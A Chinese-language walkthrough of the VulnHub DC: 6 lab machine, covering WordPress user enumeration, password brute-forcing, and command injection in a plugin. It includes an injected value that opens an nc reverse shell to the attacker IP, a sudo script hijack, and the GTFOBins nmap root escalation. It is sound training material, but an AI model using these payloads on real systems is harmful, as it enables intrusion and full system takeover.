vulnhub DC: 6

渗透思路:

nmap扫描---->wpscan枚举wordpress用户---->wpscan暴力破解wordpress用户名密码---->利用RCE漏洞getshell---->sudo提权

环境信息:

攻击机ip:192.168.101.25

靶机ip:192.168.101.38

此外,根据vulnhub上的提示,渗透本靶机还需要在攻击机上配置hosts文件

hosts文件的位置:

linux系统:/etc/hosts

windows系统:C:\Windows\System32\drivers\etc\hosts

具体步骤:

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.38

22端口(ssh)和80端口(http)开放,并且80端口是wordpress

步骤2:wpscan枚举wordpress用户

涉及到wordpress的站点,一般想到的方法是登录之后利用wordpress的一些后台功能getshell。所以首先需要登录。

用dirb和nikto扫描之后,都没有找到关于用户名和密码的信息。

这里来试试用wpscan枚举用户名。

输入如下命令,注意url参数值需要是http://wordy,不能是http://靶机ip

sudo wpscan --url http://wordy -e

找到5个用户名:admin,jens,mark,sarah,graham

把这些用户名以一行一个的格式保存在/home/kali/users.txt中备用。

步骤3:wpscan暴力破解wordpress用户名密码

关于wordpress登录密码,vulnhub上给了clue

rockyou.txt是kali自带的一个好大的字典,大到一开始是压缩包,要先解压缩才能用

解压缩

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

在rockyou.txt中查找包含k01的字符串,并写入文件passwords.txt

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

wpscan暴力破解wordpress用户名和密码:

sudo wpscan --url http://wordy -U '/home/kali/users.txt' -P '/home/kali/passwords.txt' 

有一组用户名密码可用:用户名mark,密码helpdesk01 

在http://wordy/wp-login.php用这组用户名密码登录成功

步骤4: wpscan扫描有漏洞的plugin(没扫出来)

在http://wordy/wp-admin/转了一圈发现,mark用户并没有之前几个靶机中遇到过的Appearance页面,此路不通。

这时想到网站主页一直在强调安全的plugins,那么可以用wpscan扫扫看是否有有漏洞的plugin

用如下命令扫描: 

sudo wpscan --url http://wordy/ --http-auth mark:helpdesk01 -e vp

没扫出结果:

 

步骤5:利用RCE漏洞getshell

仔细观察http://wordy/wp-admin/之后发现Activity monitor的Tools选项卡有远程命令执行漏洞。

具体来说,在下图所示的输入框中输入 某个ip;某条命令 。比如192.168.101.1;whoami

会遇到前端输入长度限制的问题,只要在输入框上 右键--检查 把输入框的maxlength改大即可(原来是15,我改到了100)。

然后点Lookup按钮,可以发现whoami的命令执行结果www-data 

试了几种反弹shell之后,发现nc反弹shell好使。

攻击机上监听2333端口

nc -nlvp 2333

输入框中输入如下内容,点Lookup按钮后可得到反弹shell

127.0.0.1;nc -e /bin/bash 192.168.101.25 2333 

输入

python -c 'import pty; pty.spawn("/bin/bash")'

得到交互式shell

步骤6:sudo提权

在反弹shell中找啊找,发现/home/mark/stuff目录下有个可疑文件things-to-do.txt

里面记录了一个新建的用户graham和其密码GSo7isUM1D4

用graham成功地进行了ssh登录在graham的shell中看看其是否有可以sudo执行的命令

sudo -l

发现 graham 可以以 jens的身份执行/home/jens/backups.sh

/home/jens/backups.sh的内容是备份/var/www/html文件夹,似乎没什么用。

但如果graham可以修改该文件的内容,就可以得到jens的shell。

ls -al

可以看到该文件的属组是devs 

再输入

id

可以看到graham用户也是devs的组成员。

也就是说graham用户可以修改/home/jens/backups.sh文件。

用echo命令改写/home/jens/backups.sh的内容

echo "/bin/bash" > backups.sh

用jens的身份执行,得到jens的shell

sudo -u jens /home/jens/backups.sh

 

查看jens可以sudo执行的命令,发现其可以以root的身份执行nmap命令

在gtfobins上查找nmap,找到sudo提权的payload

执行如下命令,得到root的shell 

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

用python得到交互式shell

 python -c 'import pty; pty.spawn("/bin/bash")'

在/root/下找到theflag.txt文件,并读取其内容 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值